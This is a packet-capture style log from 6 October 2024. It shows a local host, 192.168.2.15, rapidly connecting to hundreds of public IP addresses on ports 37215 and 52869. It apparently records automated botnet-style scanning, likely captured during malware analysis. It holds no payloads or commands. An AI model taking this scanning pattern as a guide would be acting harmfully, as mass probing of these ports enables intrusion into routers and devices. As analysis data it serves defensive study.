Oct 6, 2024 20:00:45.481106043 CEST	49416	37215	192.168.2.15	41.144.203.47
Oct 6, 2024 20:00:45.481106043 CEST	49416	37215	192.168.2.15	156.85.79.190
Oct 6, 2024 20:00:45.481117964 CEST	49416	37215	192.168.2.15	197.163.41.111
Oct 6, 2024 20:00:45.481117964 CEST	49416	37215	192.168.2.15	156.221.252.176
Oct 6, 2024 20:00:45.481117964 CEST	49416	37215	192.168.2.15	197.184.94.163
Oct 6, 2024 20:00:45.481117964 CEST	49416	37215	192.168.2.15	156.67.63.130
Oct 6, 2024 20:00:45.481117964 CEST	49416	37215	192.168.2.15	41.127.74.18
Oct 6, 2024 20:00:45.481118917 CEST	49416	37215	192.168.2.15	41.160.219.53
Oct 6, 2024 20:00:45.481118917 CEST	49416	37215	192.168.2.15	197.110.11.186
Oct 6, 2024 20:00:45.481118917 CEST	49416	37215	192.168.2.15	156.80.126.122
Oct 6, 2024 20:00:45.481123924 CEST	49416	37215	192.168.2.15	156.109.36.84
Oct 6, 2024 20:00:45.481123924 CEST	49416	37215	192.168.2.15	41.124.144.40
Oct 6, 2024 20:00:45.481123924 CEST	49416	37215	192.168.2.15	197.240.242.147
Oct 6, 2024 20:00:45.481123924 CEST	49416	37215	192.168.2.15	156.64.21.156
Oct 6, 2024 20:00:45.481123924 CEST	49416	37215	192.168.2.15	41.58.182.240
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	197.39.224.158
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	156.53.135.75
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	41.104.1.140
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	41.131.216.173
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	41.86.225.59
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	41.12.183.82
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	197.98.13.27
Oct 6, 2024 20:00:45.481125116 CEST	49416	37215	192.168.2.15	41.147.103.128
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	197.95.18.156
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	41.175.15.107
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	41.168.204.67
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	197.136.4.4
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	41.186.50.157
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	41.58.154.143
Oct 6, 2024 20:00:45.481129885 CEST	49416	37215	192.168.2.15	41.133.181.143
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	197.36.248.106
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	156.188.26.47
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	41.31.104.144
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	197.181.167.144
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	41.87.143.194
Oct 6, 2024 20:00:45.481136084 CEST	49416	37215	192.168.2.15	156.205.249.76
Oct 6, 2024 20:00:45.481156111 CEST	49416	37215	192.168.2.15	41.159.204.211
Oct 6, 2024 20:00:45.481168032 CEST	49416	37215	192.168.2.15	41.40.215.171
Oct 6, 2024 20:00:45.481168985 CEST	49416	37215	192.168.2.15	41.179.111.50
Oct 6, 2024 20:00:45.481177092 CEST	49416	37215	192.168.2.15	41.170.237.89
Oct 6, 2024 20:00:45.481179953 CEST	49416	37215	192.168.2.15	41.2.115.227
Oct 6, 2024 20:00:45.481179953 CEST	49416	37215	192.168.2.15	41.247.238.124
Oct 6, 2024 20:00:45.481201887 CEST	49416	37215	192.168.2.15	156.162.113.37
Oct 6, 2024 20:00:45.481201887 CEST	49416	37215	192.168.2.15	197.80.229.200
Oct 6, 2024 20:00:45.481201887 CEST	49416	37215	192.168.2.15	197.194.12.8
Oct 6, 2024 20:00:45.481201887 CEST	49416	37215	192.168.2.15	156.5.117.57
Oct 6, 2024 20:00:45.481214046 CEST	49416	37215	192.168.2.15	156.135.63.95
Oct 6, 2024 20:00:45.481215000 CEST	49416	37215	192.168.2.15	156.39.97.211
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	41.246.249.249
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	156.163.18.10
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	41.96.40.141
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	156.78.114.171
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	197.244.133.100
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	197.45.210.105
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	197.251.115.107
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	156.229.187.167
Oct 6, 2024 20:00:45.481221914 CEST	49416	37215	192.168.2.15	41.124.11.130
Oct 6, 2024 20:00:45.481231928 CEST	49416	37215	192.168.2.15	197.220.57.96
Oct 6, 2024 20:00:45.481256008 CEST	49416	37215	192.168.2.15	156.104.248.55
Oct 6, 2024 20:00:45.481256008 CEST	49416	37215	192.168.2.15	156.233.151.166
Oct 6, 2024 20:00:45.481256008 CEST	49416	37215	192.168.2.15	197.63.205.167
Oct 6, 2024 20:00:45.481256008 CEST	49416	37215	192.168.2.15	197.64.166.192
Oct 6, 2024 20:00:45.481899023 CEST	49850	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:45.482887030 CEST	60050	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:45.483665943 CEST	49448	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:45.484509945 CEST	34404	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:45.485198021 CEST	58802	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:45.485853910 CEST	49160	52869	192.168.2.15	156.157.5.228
Oct 6, 2024 20:00:45.485861063 CEST	49160	52869	192.168.2.15	156.11.61.117
Oct 6, 2024 20:00:45.485863924 CEST	49160	52869	192.168.2.15	41.215.136.194
Oct 6, 2024 20:00:45.485863924 CEST	49160	52869	192.168.2.15	41.165.76.176
Oct 6, 2024 20:00:45.485865116 CEST	49160	52869	192.168.2.15	41.43.135.150
Oct 6, 2024 20:00:45.485888958 CEST	58166	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:45.485889912 CEST	49160	52869	192.168.2.15	41.252.198.69
Oct 6, 2024 20:00:45.485897064 CEST	49160	52869	192.168.2.15	41.161.1.50
Oct 6, 2024 20:00:45.485901117 CEST	49160	52869	192.168.2.15	156.153.210.19
Oct 6, 2024 20:00:45.485908031 CEST	49160	52869	192.168.2.15	156.45.29.131
Oct 6, 2024 20:00:45.485908031 CEST	49160	52869	192.168.2.15	156.111.107.75
Oct 6, 2024 20:00:45.485919952 CEST	49160	52869	192.168.2.15	197.219.144.29
Oct 6, 2024 20:00:45.485919952 CEST	49160	52869	192.168.2.15	197.200.216.74
Oct 6, 2024 20:00:45.485927105 CEST	49160	52869	192.168.2.15	41.227.42.194
Oct 6, 2024 20:00:45.485933065 CEST	49160	52869	192.168.2.15	156.181.254.86
Oct 6, 2024 20:00:45.485937119 CEST	49160	52869	192.168.2.15	156.24.241.234
Oct 6, 2024 20:00:45.485943079 CEST	49160	52869	192.168.2.15	156.88.63.158
Oct 6, 2024 20:00:45.485944986 CEST	49160	52869	192.168.2.15	41.203.15.64
Oct 6, 2024 20:00:45.485945940 CEST	49160	52869	192.168.2.15	41.104.210.43
Oct 6, 2024 20:00:45.485953093 CEST	49160	52869	192.168.2.15	156.164.203.24
Oct 6, 2024 20:00:45.485954046 CEST	49160	52869	192.168.2.15	197.242.35.209
Oct 6, 2024 20:00:45.485980988 CEST	49160	52869	192.168.2.15	197.3.53.139
Oct 6, 2024 20:00:45.485985994 CEST	49160	52869	192.168.2.15	197.193.36.133
Oct 6, 2024 20:00:45.485987902 CEST	49160	52869	192.168.2.15	156.111.55.169
Oct 6, 2024 20:00:45.485992908 CEST	49160	52869	192.168.2.15	41.143.79.100
Oct 6, 2024 20:00:45.485995054 CEST	49160	52869	192.168.2.15	197.45.87.157
Oct 6, 2024 20:00:45.485997915 CEST	49160	52869	192.168.2.15	156.35.37.184
Oct 6, 2024 20:00:45.486002922 CEST	49160	52869	192.168.2.15	41.178.186.198
Oct 6, 2024 20:00:45.486010075 CEST	49160	52869	192.168.2.15	41.250.16.56
Oct 6, 2024 20:00:45.486021996 CEST	49160	52869	192.168.2.15	156.133.64.82
Oct 6, 2024 20:00:45.486021996 CEST	49160	52869	192.168.2.15	41.16.167.107
Oct 6, 2024 20:00:45.486023903 CEST	49160	52869	192.168.2.15	197.125.102.15
Oct 6, 2024 20:00:45.486026049 CEST	49160	52869	192.168.2.15	41.224.69.144
Oct 6, 2024 20:00:45.486048937 CEST	49160	52869	192.168.2.15	197.91.252.120
Oct 6, 2024 20:00:45.486052990 CEST	49160	52869	192.168.2.15	41.212.239.80
Oct 6, 2024 20:00:45.486052990 CEST	49160	52869	192.168.2.15	156.139.33.70
Oct 6, 2024 20:00:45.486053944 CEST	49160	52869	192.168.2.15	197.77.40.181
Oct 6, 2024 20:00:45.486053944 CEST	49160	52869	192.168.2.15	41.195.70.15
Oct 6, 2024 20:00:45.486053944 CEST	49160	52869	192.168.2.15	197.245.121.46
Oct 6, 2024 20:00:45.486063004 CEST	49160	52869	192.168.2.15	156.212.214.69
Oct 6, 2024 20:00:45.486066103 CEST	49160	52869	192.168.2.15	197.115.106.66
Oct 6, 2024 20:00:45.486068964 CEST	49160	52869	192.168.2.15	156.60.39.234
Oct 6, 2024 20:00:45.486068964 CEST	49160	52869	192.168.2.15	197.228.160.144
Oct 6, 2024 20:00:45.486071110 CEST	49160	52869	192.168.2.15	197.191.23.188
Oct 6, 2024 20:00:45.486093044 CEST	49160	52869	192.168.2.15	156.154.34.108
Oct 6, 2024 20:00:45.486095905 CEST	49160	52869	192.168.2.15	197.138.198.66
Oct 6, 2024 20:00:45.486109972 CEST	49160	52869	192.168.2.15	197.141.103.20
Oct 6, 2024 20:00:45.486114025 CEST	49160	52869	192.168.2.15	41.209.179.0
Oct 6, 2024 20:00:45.486114025 CEST	49160	52869	192.168.2.15	197.144.250.13
Oct 6, 2024 20:00:45.486116886 CEST	49160	52869	192.168.2.15	197.238.4.206
Oct 6, 2024 20:00:45.486119986 CEST	49160	52869	192.168.2.15	41.69.75.38
Oct 6, 2024 20:00:45.486135960 CEST	49160	52869	192.168.2.15	41.117.159.218
Oct 6, 2024 20:00:45.486138105 CEST	49160	52869	192.168.2.15	41.207.195.117
Oct 6, 2024 20:00:45.486140966 CEST	49160	52869	192.168.2.15	41.28.162.42
Oct 6, 2024 20:00:45.486140966 CEST	49160	52869	192.168.2.15	156.202.8.169
Oct 6, 2024 20:00:45.486145020 CEST	49160	52869	192.168.2.15	41.1.79.20
Oct 6, 2024 20:00:45.486148119 CEST	49160	52869	192.168.2.15	41.133.17.225
Oct 6, 2024 20:00:45.486150980 CEST	49160	52869	192.168.2.15	156.114.27.21
Oct 6, 2024 20:00:45.486150980 CEST	49160	52869	192.168.2.15	197.80.80.131
Oct 6, 2024 20:00:45.486155033 CEST	49160	52869	192.168.2.15	41.79.165.76
Oct 6, 2024 20:00:45.486155033 CEST	49160	52869	192.168.2.15	197.143.15.247
Oct 6, 2024 20:00:45.486155033 CEST	49160	52869	192.168.2.15	156.169.242.79
Oct 6, 2024 20:00:45.486166954 CEST	49160	52869	192.168.2.15	156.66.51.107
Oct 6, 2024 20:00:45.486176968 CEST	49160	52869	192.168.2.15	41.123.65.196
Oct 6, 2024 20:00:45.486183882 CEST	49160	52869	192.168.2.15	41.27.174.71
Oct 6, 2024 20:00:45.486186981 CEST	49160	52869	192.168.2.15	156.152.56.95
Oct 6, 2024 20:00:45.486200094 CEST	49160	52869	192.168.2.15	197.97.116.240
Oct 6, 2024 20:00:45.486205101 CEST	49160	52869	192.168.2.15	197.86.164.40
Oct 6, 2024 20:00:45.486205101 CEST	49160	52869	192.168.2.15	156.103.254.156
Oct 6, 2024 20:00:45.486207008 CEST	49160	52869	192.168.2.15	156.249.73.118
Oct 6, 2024 20:00:45.486212969 CEST	49160	52869	192.168.2.15	41.158.47.216
Oct 6, 2024 20:00:45.486217976 CEST	49160	52869	192.168.2.15	156.120.48.212
Oct 6, 2024 20:00:45.486222029 CEST	49160	52869	192.168.2.15	156.75.168.160
Oct 6, 2024 20:00:45.486222029 CEST	49160	52869	192.168.2.15	41.83.135.227
Oct 6, 2024 20:00:45.486222029 CEST	49160	52869	192.168.2.15	41.147.46.7
Oct 6, 2024 20:00:45.486232042 CEST	49160	52869	192.168.2.15	156.150.228.53
Oct 6, 2024 20:00:45.486232996 CEST	49160	52869	192.168.2.15	156.99.245.207
Oct 6, 2024 20:00:45.486241102 CEST	49160	52869	192.168.2.15	197.231.158.245
Oct 6, 2024 20:00:45.486243010 CEST	49160	52869	192.168.2.15	41.176.144.86
Oct 6, 2024 20:00:45.486273050 CEST	49160	52869	192.168.2.15	197.56.179.17
Oct 6, 2024 20:00:45.486279011 CEST	49160	52869	192.168.2.15	156.164.29.198
Oct 6, 2024 20:00:45.486279011 CEST	49160	52869	192.168.2.15	156.162.202.0
Oct 6, 2024 20:00:45.486290932 CEST	49160	52869	192.168.2.15	41.72.146.12
Oct 6, 2024 20:00:45.486290932 CEST	49160	52869	192.168.2.15	41.210.125.132
Oct 6, 2024 20:00:45.486291885 CEST	49160	52869	192.168.2.15	197.21.73.221
Oct 6, 2024 20:00:45.486291885 CEST	49160	52869	192.168.2.15	41.38.60.209
Oct 6, 2024 20:00:45.486308098 CEST	49160	52869	192.168.2.15	41.35.219.44
Oct 6, 2024 20:00:45.486315012 CEST	49160	52869	192.168.2.15	41.228.74.118
Oct 6, 2024 20:00:45.486330986 CEST	49160	52869	192.168.2.15	156.80.85.102
Oct 6, 2024 20:00:45.486330986 CEST	49160	52869	192.168.2.15	156.192.18.165
Oct 6, 2024 20:00:45.486335993 CEST	49160	52869	192.168.2.15	41.11.137.198
Oct 6, 2024 20:00:45.486335993 CEST	49160	52869	192.168.2.15	197.101.73.162
Oct 6, 2024 20:00:45.486336946 CEST	49160	52869	192.168.2.15	41.16.47.160
Oct 6, 2024 20:00:45.486335993 CEST	49160	52869	192.168.2.15	197.42.238.63
Oct 6, 2024 20:00:45.486335993 CEST	49160	52869	192.168.2.15	156.163.92.170
Oct 6, 2024 20:00:45.486370087 CEST	49160	52869	192.168.2.15	156.88.110.62
Oct 6, 2024 20:00:45.486370087 CEST	49160	52869	192.168.2.15	156.26.35.137
Oct 6, 2024 20:00:45.486370087 CEST	49160	52869	192.168.2.15	197.19.236.127
Oct 6, 2024 20:00:45.486372948 CEST	49160	52869	192.168.2.15	41.181.162.75
Oct 6, 2024 20:00:45.486375093 CEST	49160	52869	192.168.2.15	197.144.176.167
Oct 6, 2024 20:00:45.486375093 CEST	49160	52869	192.168.2.15	156.238.32.237
Oct 6, 2024 20:00:45.486390114 CEST	49160	52869	192.168.2.15	197.25.22.151
Oct 6, 2024 20:00:45.486394882 CEST	37215	49416	41.125.113.186	192.168.2.15
Oct 6, 2024 20:00:45.486397982 CEST	49160	52869	192.168.2.15	156.254.255.193
Oct 6, 2024 20:00:45.486397982 CEST	49160	52869	192.168.2.15	197.252.5.201
Oct 6, 2024 20:00:45.486398935 CEST	49160	52869	192.168.2.15	41.160.61.228
Oct 6, 2024 20:00:45.486398935 CEST	49160	52869	192.168.2.15	156.71.22.143
Oct 6, 2024 20:00:45.486406088 CEST	49160	52869	192.168.2.15	197.42.220.17
Oct 6, 2024 20:00:45.486407042 CEST	37215	49416	41.92.217.226	192.168.2.15
Oct 6, 2024 20:00:45.486411095 CEST	49160	52869	192.168.2.15	197.146.80.119
Oct 6, 2024 20:00:45.486412048 CEST	49160	52869	192.168.2.15	41.127.71.227
Oct 6, 2024 20:00:45.486416101 CEST	37215	49416	156.18.49.81	192.168.2.15
Oct 6, 2024 20:00:45.486422062 CEST	49160	52869	192.168.2.15	41.137.74.40
Oct 6, 2024 20:00:45.486422062 CEST	49160	52869	192.168.2.15	41.31.39.34
Oct 6, 2024 20:00:45.486426115 CEST	49160	52869	192.168.2.15	156.161.85.243
Oct 6, 2024 20:00:45.486427069 CEST	49160	52869	192.168.2.15	41.16.43.133
Oct 6, 2024 20:00:45.486429930 CEST	49160	52869	192.168.2.15	41.150.172.135
Oct 6, 2024 20:00:45.486439943 CEST	49160	52869	192.168.2.15	41.221.165.60
Oct 6, 2024 20:00:45.486443043 CEST	49416	37215	192.168.2.15	41.125.113.186
Oct 6, 2024 20:00:45.486445904 CEST	49160	52869	192.168.2.15	197.203.137.31
Oct 6, 2024 20:00:45.486445904 CEST	49160	52869	192.168.2.15	197.127.175.27
Oct 6, 2024 20:00:45.486445904 CEST	49416	37215	192.168.2.15	41.92.217.226
Oct 6, 2024 20:00:45.486454964 CEST	49416	37215	192.168.2.15	156.18.49.81
Oct 6, 2024 20:00:45.486464024 CEST	49160	52869	192.168.2.15	41.166.48.194
Oct 6, 2024 20:00:45.486474037 CEST	49160	52869	192.168.2.15	41.160.230.213
Oct 6, 2024 20:00:45.486479044 CEST	49160	52869	192.168.2.15	41.123.49.104
Oct 6, 2024 20:00:45.486479044 CEST	49160	52869	192.168.2.15	156.181.99.87
Oct 6, 2024 20:00:45.486485958 CEST	49160	52869	192.168.2.15	197.117.251.158
Oct 6, 2024 20:00:45.486490965 CEST	49160	52869	192.168.2.15	197.57.71.91
Oct 6, 2024 20:00:45.486490965 CEST	49160	52869	192.168.2.15	41.117.207.98
Oct 6, 2024 20:00:45.486495018 CEST	49160	52869	192.168.2.15	197.87.60.42
Oct 6, 2024 20:00:45.486495972 CEST	49160	52869	192.168.2.15	197.105.30.43
Oct 6, 2024 20:00:45.486499071 CEST	49160	52869	192.168.2.15	41.23.163.48
Oct 6, 2024 20:00:45.486505032 CEST	49160	52869	192.168.2.15	156.122.238.205
Oct 6, 2024 20:00:45.486506939 CEST	49160	52869	192.168.2.15	156.195.179.211
Oct 6, 2024 20:00:45.486506939 CEST	49160	52869	192.168.2.15	197.203.163.214
Oct 6, 2024 20:00:45.486510038 CEST	49160	52869	192.168.2.15	41.81.84.213
Oct 6, 2024 20:00:45.486521006 CEST	49160	52869	192.168.2.15	197.202.254.227
Oct 6, 2024 20:00:45.486522913 CEST	49160	52869	192.168.2.15	41.94.222.255
Oct 6, 2024 20:00:45.486526966 CEST	49160	52869	192.168.2.15	197.128.189.28
Oct 6, 2024 20:00:45.486526966 CEST	49160	52869	192.168.2.15	197.245.187.85
Oct 6, 2024 20:00:45.486531019 CEST	49160	52869	192.168.2.15	156.145.113.91
Oct 6, 2024 20:00:45.486542940 CEST	49160	52869	192.168.2.15	156.76.246.247
Oct 6, 2024 20:00:45.486548901 CEST	49160	52869	192.168.2.15	41.165.53.98
Oct 6, 2024 20:00:45.486548901 CEST	49160	52869	192.168.2.15	41.156.216.75
Oct 6, 2024 20:00:45.486553907 CEST	49160	52869	192.168.2.15	41.251.114.222
Oct 6, 2024 20:00:45.486557007 CEST	49160	52869	192.168.2.15	156.206.181.99
Oct 6, 2024 20:00:45.486557007 CEST	49160	52869	192.168.2.15	156.97.108.237
Oct 6, 2024 20:00:45.486557007 CEST	49160	52869	192.168.2.15	41.229.200.52
Oct 6, 2024 20:00:45.486574888 CEST	49160	52869	192.168.2.15	41.160.229.54
Oct 6, 2024 20:00:45.486577034 CEST	49160	52869	192.168.2.15	41.84.189.145
Oct 6, 2024 20:00:45.486588001 CEST	47958	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:45.486601114 CEST	49160	52869	192.168.2.15	156.230.166.202
Oct 6, 2024 20:00:45.486609936 CEST	49160	52869	192.168.2.15	41.17.141.156
Oct 6, 2024 20:00:45.486609936 CEST	49160	52869	192.168.2.15	156.170.2.188
Oct 6, 2024 20:00:45.486618996 CEST	49160	52869	192.168.2.15	41.187.157.191
Oct 6, 2024 20:00:45.486618996 CEST	49160	52869	192.168.2.15	156.15.76.233
Oct 6, 2024 20:00:45.486618996 CEST	49160	52869	192.168.2.15	197.233.184.126
Oct 6, 2024 20:00:45.486629009 CEST	49160	52869	192.168.2.15	197.115.215.116
Oct 6, 2024 20:00:45.486629009 CEST	49160	52869	192.168.2.15	41.173.204.207
Oct 6, 2024 20:00:45.486629009 CEST	49160	52869	192.168.2.15	41.78.159.128
Oct 6, 2024 20:00:45.486629009 CEST	49160	52869	192.168.2.15	41.155.158.10
Oct 6, 2024 20:00:45.486630917 CEST	49160	52869	192.168.2.15	197.77.235.31
Oct 6, 2024 20:00:45.486632109 CEST	49160	52869	192.168.2.15	156.157.225.72
Oct 6, 2024 20:00:45.486632109 CEST	49160	52869	192.168.2.15	41.41.69.31
Oct 6, 2024 20:00:45.486632109 CEST	49160	52869	192.168.2.15	197.105.5.94
Oct 6, 2024 20:00:45.486640930 CEST	49160	52869	192.168.2.15	197.11.197.199
Oct 6, 2024 20:00:45.486656904 CEST	49160	52869	192.168.2.15	156.76.96.32
Oct 6, 2024 20:00:45.487030983 CEST	37215	49416	156.93.120.74	192.168.2.15
Oct 6, 2024 20:00:45.487041950 CEST	37215	49416	41.73.141.147	192.168.2.15
Oct 6, 2024 20:00:45.487051964 CEST	37215	49416	156.253.159.241	192.168.2.15
Oct 6, 2024 20:00:45.487059116 CEST	49416	37215	192.168.2.15	156.93.120.74
Oct 6, 2024 20:00:45.487061024 CEST	37215	49416	41.157.219.31	192.168.2.15
Oct 6, 2024 20:00:45.487063885 CEST	49416	37215	192.168.2.15	41.73.141.147
Oct 6, 2024 20:00:45.487071991 CEST	37215	49416	156.134.91.205	192.168.2.15
Oct 6, 2024 20:00:45.487082005 CEST	37215	49416	41.163.89.182	192.168.2.15
Oct 6, 2024 20:00:45.487090111 CEST	37215	49416	156.9.51.140	192.168.2.15
Oct 6, 2024 20:00:45.487097025 CEST	49416	37215	192.168.2.15	41.157.219.31
Oct 6, 2024 20:00:45.487101078 CEST	49416	37215	192.168.2.15	156.253.159.241
Oct 6, 2024 20:00:45.487112999 CEST	49416	37215	192.168.2.15	41.163.89.182
Oct 6, 2024 20:00:45.487114906 CEST	49416	37215	192.168.2.15	156.9.51.140
Oct 6, 2024 20:00:45.487135887 CEST	49416	37215	192.168.2.15	156.134.91.205
Oct 6, 2024 20:00:45.487178087 CEST	37215	49416	156.53.223.43	192.168.2.15
Oct 6, 2024 20:00:45.487188101 CEST	37215	49416	197.201.1.34	192.168.2.15
Oct 6, 2024 20:00:45.487198114 CEST	37215	49416	197.233.7.198	192.168.2.15
Oct 6, 2024 20:00:45.487207890 CEST	37215	49416	41.125.149.213	192.168.2.15
Oct 6, 2024 20:00:45.487215042 CEST	49416	37215	192.168.2.15	156.53.223.43
Oct 6, 2024 20:00:45.487215996 CEST	37215	49416	41.153.119.82	192.168.2.15
Oct 6, 2024 20:00:45.487217903 CEST	49416	37215	192.168.2.15	197.201.1.34
Oct 6, 2024 20:00:45.487226009 CEST	37215	49416	41.9.79.204	192.168.2.15
Oct 6, 2024 20:00:45.487235069 CEST	49416	37215	192.168.2.15	197.233.7.198
Oct 6, 2024 20:00:45.487236023 CEST	37215	49416	197.220.229.102	192.168.2.15
Oct 6, 2024 20:00:45.487243891 CEST	49416	37215	192.168.2.15	41.125.149.213
Oct 6, 2024 20:00:45.487245083 CEST	37215	49416	156.129.100.80	192.168.2.15
Oct 6, 2024 20:00:45.487245083 CEST	49416	37215	192.168.2.15	41.153.119.82
Oct 6, 2024 20:00:45.487253904 CEST	37215	49416	197.47.218.162	192.168.2.15
Oct 6, 2024 20:00:45.487263918 CEST	37215	49416	197.31.255.123	192.168.2.15
Oct 6, 2024 20:00:45.487266064 CEST	49416	37215	192.168.2.15	41.9.79.204
Oct 6, 2024 20:00:45.487267017 CEST	49416	37215	192.168.2.15	197.220.229.102
Oct 6, 2024 20:00:45.487272978 CEST	37215	49416	156.150.233.52	192.168.2.15
Oct 6, 2024 20:00:45.487282991 CEST	37215	49416	197.53.181.223	192.168.2.15
Oct 6, 2024 20:00:45.487283945 CEST	49416	37215	192.168.2.15	197.47.218.162
Oct 6, 2024 20:00:45.487291098 CEST	49416	37215	192.168.2.15	197.31.255.123
Oct 6, 2024 20:00:45.487292051 CEST	37215	49416	197.252.76.234	192.168.2.15
Oct 6, 2024 20:00:45.487302065 CEST	37215	49416	197.90.6.228	192.168.2.15
Oct 6, 2024 20:00:45.487303972 CEST	49416	37215	192.168.2.15	156.150.233.52
Oct 6, 2024 20:00:45.487310886 CEST	37215	49416	156.65.45.203	192.168.2.15
Oct 6, 2024 20:00:45.487317085 CEST	49416	37215	192.168.2.15	197.53.181.223
Oct 6, 2024 20:00:45.487318993 CEST	49416	37215	192.168.2.15	156.129.100.80
Oct 6, 2024 20:00:45.487319946 CEST	37215	49416	41.255.197.227	192.168.2.15
Oct 6, 2024 20:00:45.487333059 CEST	37215	49416	156.46.209.25	192.168.2.15
Oct 6, 2024 20:00:45.487334967 CEST	49416	37215	192.168.2.15	197.252.76.234
Oct 6, 2024 20:00:45.487335920 CEST	49416	37215	192.168.2.15	197.90.6.228
Oct 6, 2024 20:00:45.487343073 CEST	37215	49416	41.208.235.121	192.168.2.15
Oct 6, 2024 20:00:45.487353086 CEST	37215	49416	156.60.42.234	192.168.2.15
Oct 6, 2024 20:00:45.487355947 CEST	49416	37215	192.168.2.15	41.255.197.227
Oct 6, 2024 20:00:45.487358093 CEST	49416	37215	192.168.2.15	156.65.45.203
Oct 6, 2024 20:00:45.487358093 CEST	37215	49416	197.76.228.37	192.168.2.15
Oct 6, 2024 20:00:45.487363100 CEST	37215	49416	41.68.90.78	192.168.2.15
Oct 6, 2024 20:00:45.487366915 CEST	37215	49416	41.255.179.108	192.168.2.15
Oct 6, 2024 20:00:45.487376928 CEST	49416	37215	192.168.2.15	156.46.209.25
Oct 6, 2024 20:00:45.487390995 CEST	37215	49416	197.136.158.169	192.168.2.15
Oct 6, 2024 20:00:45.487394094 CEST	49416	37215	192.168.2.15	197.76.228.37
Oct 6, 2024 20:00:45.487404108 CEST	37215	49416	156.62.189.199	192.168.2.15
Oct 6, 2024 20:00:45.487406969 CEST	49416	37215	192.168.2.15	41.208.235.121
Oct 6, 2024 20:00:45.487406969 CEST	49416	37215	192.168.2.15	41.68.90.78
Oct 6, 2024 20:00:45.487411022 CEST	49416	37215	192.168.2.15	41.255.179.108
Oct 6, 2024 20:00:45.487411022 CEST	49416	37215	192.168.2.15	156.60.42.234
Oct 6, 2024 20:00:45.487413883 CEST	37215	49416	41.231.45.36	192.168.2.15
Oct 6, 2024 20:00:45.487423897 CEST	37215	49416	156.116.74.234	192.168.2.15
Oct 6, 2024 20:00:45.487432957 CEST	37215	49416	41.171.37.150	192.168.2.15
Oct 6, 2024 20:00:45.487437010 CEST	49416	37215	192.168.2.15	156.62.189.199
Oct 6, 2024 20:00:45.487438917 CEST	49416	37215	192.168.2.15	197.136.158.169
Oct 6, 2024 20:00:45.487442970 CEST	37215	49416	156.26.20.240	192.168.2.15
Oct 6, 2024 20:00:45.487452984 CEST	49416	37215	192.168.2.15	41.231.45.36
Oct 6, 2024 20:00:45.487452984 CEST	37215	49416	197.165.116.1	192.168.2.15
Oct 6, 2024 20:00:45.487463951 CEST	37215	49416	156.55.99.115	192.168.2.15
Oct 6, 2024 20:00:45.487464905 CEST	49416	37215	192.168.2.15	41.171.37.150
Oct 6, 2024 20:00:45.487472057 CEST	37215	49416	197.96.119.147	192.168.2.15
Oct 6, 2024 20:00:45.487477064 CEST	49416	37215	192.168.2.15	156.116.74.234
Oct 6, 2024 20:00:45.487477064 CEST	49416	37215	192.168.2.15	156.26.20.240
Oct 6, 2024 20:00:45.487481117 CEST	49416	37215	192.168.2.15	197.165.116.1
Oct 6, 2024 20:00:45.487482071 CEST	37215	49416	41.101.144.109	192.168.2.15
Oct 6, 2024 20:00:45.487490892 CEST	37215	49416	41.71.156.105	192.168.2.15
Oct 6, 2024 20:00:45.487499952 CEST	37215	49416	197.2.177.226	192.168.2.15
Oct 6, 2024 20:00:45.487498999 CEST	49416	37215	192.168.2.15	197.96.119.147
Oct 6, 2024 20:00:45.487502098 CEST	49416	37215	192.168.2.15	156.55.99.115
Oct 6, 2024 20:00:45.487509012 CEST	37215	49416	197.80.24.0	192.168.2.15
Oct 6, 2024 20:00:45.487518072 CEST	37215	49416	156.223.245.100	192.168.2.15
Oct 6, 2024 20:00:45.487518072 CEST	49416	37215	192.168.2.15	41.101.144.109
Oct 6, 2024 20:00:45.487520933 CEST	49416	37215	192.168.2.15	41.71.156.105
Oct 6, 2024 20:00:45.487525940 CEST	37215	49416	156.171.42.6	192.168.2.15
Oct 6, 2024 20:00:45.487535000 CEST	37215	49416	197.104.3.143	192.168.2.15
Oct 6, 2024 20:00:45.487540007 CEST	49416	37215	192.168.2.15	197.2.177.226
Oct 6, 2024 20:00:45.487540007 CEST	49416	37215	192.168.2.15	156.223.245.100
Oct 6, 2024 20:00:45.487541914 CEST	49416	37215	192.168.2.15	197.80.24.0
Oct 6, 2024 20:00:45.487545013 CEST	37215	49416	41.125.63.144	192.168.2.15
Oct 6, 2024 20:00:45.487549067 CEST	37215	49416	197.172.72.228	192.168.2.15
Oct 6, 2024 20:00:45.487552881 CEST	37215	49416	41.150.114.202	192.168.2.15
